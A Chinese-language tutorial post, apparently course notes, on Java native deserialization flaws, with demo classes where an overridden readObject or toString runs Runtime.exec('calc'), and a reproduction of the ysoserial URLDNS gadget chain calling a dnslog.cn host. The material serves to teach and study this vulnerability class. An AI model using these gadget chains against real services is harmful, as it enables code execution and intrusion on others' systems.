Day35:安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载

目录

Java-原生使用-序列化&反序列化

Java-安全问题-重写方法&触发方法

Java-安全问题-可控其他类重写方法

思维导图


Java知识点:
功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.

框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等

技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,反射机制待补充

安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充

安全:原生开发安全,第三方框架安全,第三方库安全等,待补充

Java-原生使用-序列化&反序列化

序列化与反序列化

序列化:将内存中的对象压缩成字节流

反序列化:将字节流转化成内存中的对象

为什么有序列化技术?

序列化与反序列化的设计就是用来传输数据的。

当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。

能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。

应用场景

(1) 想把内存中的对象保存到一个文件中或者是数据库当中。

(2) 用套接字在网络上传输对象。

(3) 通过RMI传输对象的时候。

几种创建的序列化和反序列化协议

• JAVA内置的writeObject()/readObject()

• JAVA内置的XMLDecoder()/XMLEncoder

• XStream

• SnakeYaml

• FastJson

• Jackson

为什么会出现反序列化安全问题

内置原生写法分析

• 重写readObject方法

• 输出调用toString方法

反序列化利用链

(1) 入口类的readObject直接调用危险方法

(2) 入口参数中包含可控类,该类有危险方法,readObject时调用

(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

(4) 构造函数/静态代码块等类加载时隐式
序列化实现,创建用户类,并实现 Serializable接口

java 复制代码
package com.example;

import java.io.Serializable;
import java.io.IOException;
import java.io.ObjectInputStream;

// 用户信息类,实现了 Serializable 接口
public class UserDemo implements Serializable {

    // 公共成员变量
    public String name = "xiaodi";
    public String gender = "man";
    public Integer age = 30;

    // 构造方法
    public UserDemo(String name, String gender, Integer age) {
        this.name = name;
        this.gender = gender;
        this.age = age;
        System.out.println(name);
        System.out.println(gender);
    }

    // toString 方法,用于打印对象信息
    public String toString() {

        // 返回对象信息的字符串表示
        return "User{" +
                "name='" + name + '\'' +
                ", gender='" + gender + '\'' +
                ", age=" + age +
                '}';
    }
}

创建对应的序列化类,并创建对应的序列化方法:SerializableDemo.java

java 复制代码
// 指定包名
package com.example;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

// 序列化演示类
public class SerializableDemo {

    public static void main(String[] args) throws IOException {
        // 创建一个用户对象,引用UserDemo
        UserDemo u = new UserDemo("xdsec", "gay1", 30);
        // 调用方法进行序列化
        SerializableTest(u);
        // ser.txt 就是对象u序列化的字节流数据
    }

    // 序列化方法
    public static void SerializableTest(Object obj) throws IOException {
        // 使用 ObjectOutputStream 将对象 obj 序列化后输出到文件 ser.txt
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        // 将对象 obj 进行序列化,并将序列化后的数据写入到文件输出流中。
        oos.writeObject(obj);
        // 关闭流
        oos.close();
    }
}

ser.txt的内容:


创建对应反序列化类,并创建对应反序列化方法:UnserializableDemo.java

java 复制代码
package com.example;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.FileInputStream;

// 反序列化演示类
public class UnserializableDemo {

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        // 调用下面的方法,传输 ser.txt,解析还原反序列化
        Object obj = UnserializableTest("ser.txt");

        // 对 obj 对象进行输出,默认调用原始对象的 toString 方法
        System.out.println(obj);
    }

    // 反序列化方法
    public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
        // 读取 Filename 文件进行反序列化还原
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        // 通过 ois.readObject() 方法从文件输入流中读取一个对象,并将其赋值给变量 o。
        Object o = ois.readObject();
        // 返回反序列化后的对象
        return o;
    }
}

Java-安全问题-重写方法&触发方法

toString //输出调用toString方法
User u = new User("xdsec","man",30);

System.out.println(u);

serializeTest(u);

unserializeTest("ser.txt");

readObject //序列化后被重写readObject调用

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

//指向正确defaultReadObject

ois.defaultReadObject();

Runtime.getRuntime().exec("calc");

}
重写方法:原理:readObject 序列化后被重写 readObject 调用

修改UserDemo.java

java 复制代码
package com.example;


import java.io.Serializable;
import java.io.IOException;
import java.io.ObjectInputStream;

// 用户信息类,实现了 Serializable 接口
public class UserDemo implements Serializable {

    // 公共成员变量
    public String name = "xiaodi";
    public String gender = "man";
    public Integer age = 30;

    // 构造方法
    public UserDemo(String name, String gender, Integer age) {
        this.name = name;
        this.gender = gender;
        this.age = age;
        System.out.println(name);
        System.out.println(gender);
    }

    // toString 方法,用于打印对象信息
    public String toString() {
        

        // 返回对象信息的字符串表示
        return "User{" +
                "name='" + name + '\'' +
                ", gender='" + gender + '\'' +
                ", age=" + age +
                '}';
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException
    {
        // 指向正确的defaultReadObject
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }


}

运行 SerializableDemo.java 生成新的 ser.txt 后,运行 UnserializableDemo.java 进行反序列化,发现弹出了计算器程序。

这是因为在进行反序列化操作过程中,如下方法调用了 readObject 方法,但由于我们在 UserDemo.java 重写了该方法,所以导致此处执行的 readObject 不是原本默认的 readObject,而是我们自定义的 readObject,其中 ois.defaultReadObject() 使其指向正确的 readObject 从而使程序可以正常运行,又可以执行我们的代码

提一嘴,迪总说这个实战中基本遇不到,因为没人会这么干
触发方法:原理:toString 输出打印对象时调用 toString 方法

修改UserDemo.java

java 复制代码
package com.example;

//import java.io.Serializable;
//import java.io.IOException;
//import java.io.ObjectInputStream;
//
 用户信息类,实现了 Serializable 接口
//public class UserDemo implements Serializable {
//
//    // 公共成员变量
//    public String name = "xiaodi";
//    public String gender = "man";
//    public Integer age = 30;
//
//    // 构造方法
//    public UserDemo(String name, String gender, Integer age) {
//        this.name = name;
//        this.gender = gender;
//        this.age = age;
//        System.out.println(name);
//        System.out.println(gender);
//    }
//
//    // toString 方法,用于打印对象信息
//    public String toString() {
//
//        // 返回对象信息的字符串表示
//        return "User{" +
//                "name='" + name + '\'' +
//                ", gender='" + gender + '\'' +
//                ", age=" + age +
//                '}';
//    }
//}


import java.io.Serializable;
import java.io.IOException;
import java.io.ObjectInputStream;

// 用户信息类,实现了 Serializable 接口
public class UserDemo implements Serializable {

    // 公共成员变量
    public String name = "xiaodi";
    public String gender = "man";
    public Integer age = 30;

    // 构造方法
    public UserDemo(String name, String gender, Integer age) {
        this.name = name;
        this.gender = gender;
        this.age = age;
        System.out.println(name);
        System.out.println(gender);
    }

    // toString 方法,用于打印对象信息
    public String toString() {

        try {
            Runtime.getRuntime().exec("calc");
        }catch (IOException e) {
            throw new RuntimeException(e);
        }

        // 返回对象信息的字符串表示
        return "User{" +
                "name='" + name + '\'' +
                ", gender='" + gender + '\'' +
                ", age=" + age +
                '}';
    }

}

这里没有运行 SerializableDemo.java 生成新的 ser.txt,我前面一直以为 ser.txt 里面保存的是那个对象类,需要每次新生成,写的新代码才会生效。结果这里直接运行反序列化,新写的代码也可以生效,有点纳闷。

直接运行 UnserializableDemo.java 进行反序列化,发现弹出了计算器程序。这是由于当对一个对象进行打印输出时,会默认自动调用它的 toString 方法,而我们这里在 toString 加入了我们要运行的代码,所以当反序列化时下面代码运行打印输出时,我们的代码就会成功执行。

Java-安全问题-可控其他类重写方法

参考:https :// github . com / frohoff / ysoserial / blob / master / src / main / java / ysoserial / payloads / URLDNS . java

UrLDns.java

java 复制代码
package com.example;

import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class UrLDns implements Serializable {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //正常代码中 创建对象HashMap

        //用到原生态readObject方法去反序列化数据
        //readObject 在ObjectInputSteam 本来在这里
        //HashMap也有readObject方法

        //反序列化readObject方法调用 HashMap里面的readObject
        //执行链:
        //序列化对象hash 来源于自带类HashMap
//         *   Gadget Chain:
//                *   HashMap.readObject()
//                *       HashMap.putVal()
//                *         HashMap.hash()
//                *           URL.hashCode()
        //hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞

        HashMap<URL,Integer> hash = new HashMap<>();
        URL u=new URL("http://0tzp6g.dnslog.cn");
        hash.put(u,1);

        SerializableTest(hash);
        UnserializableTest("dns.txt");

    }


    public static void SerializableTest(Object obj) throws IOException {
        //FileOutputStream() 输出文件
        //将对象obj序列化后输出到文件ser.txt
        ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("dns.txt"));
        oos.writeObject(obj);

    }

    public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
        //读取Filename文件进行反序列化还原
        ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
        Object o = ois.readObject();
        return o;
    }


}

正常代码中 创建对象HashMap

用到原生态readObject方法去反序列化数据

readObject 在ObjectInputSteam 本来在这里

HashMap也有readObject方法

反序列化readObject方法调用 HashMap里面的readObject

执行链:

序列化对象hash 来源于自带类HashMap

* Gadget Chain:

* HashMap.readObject()

* HashMap.putVal()

* HashMap.hash()

* URL.hashCode()

hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞

思维导图

相关推荐
WTT00113 小时前
2024楚慧杯WP
大数据·运维·网络·安全·web安全·ctf
黑客Jack6 小时前
防御 XSS 的七条原则
安全·web安全·xss
东方隐侠安全团队-千里7 小时前
网安瞭望台第17期:Rockstar 2FA 故障催生 FlowerStorm 钓鱼即服务扩张现象剖析
网络·chrome·web安全
Mitch3119 小时前
【漏洞复现】CVE-2021-45788 SQL Injection
sql·web安全·docker·prometheus·metersphere
网络安全King9 小时前
网络安全 - SQL Injection
sql·web安全·php
m0_7482370511 小时前
2024年“羊城杯”粤港澳大湾区网络安全大赛 初赛 Web&数据安全&AI 题解WriteUp
前端·安全·web安全
hwscom11 小时前
如何永久解决Apache Struts文件上传漏洞
java·服务器·struts·web安全·apache
网络安全(华哥)11 小时前
X-Forwarded-For注入漏洞
windows·安全·web安全
独行soc13 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍10基于文件操作的SQL注入(File-Based SQL Injection)
数据库·安全·web安全·漏洞挖掘·sql注入·hw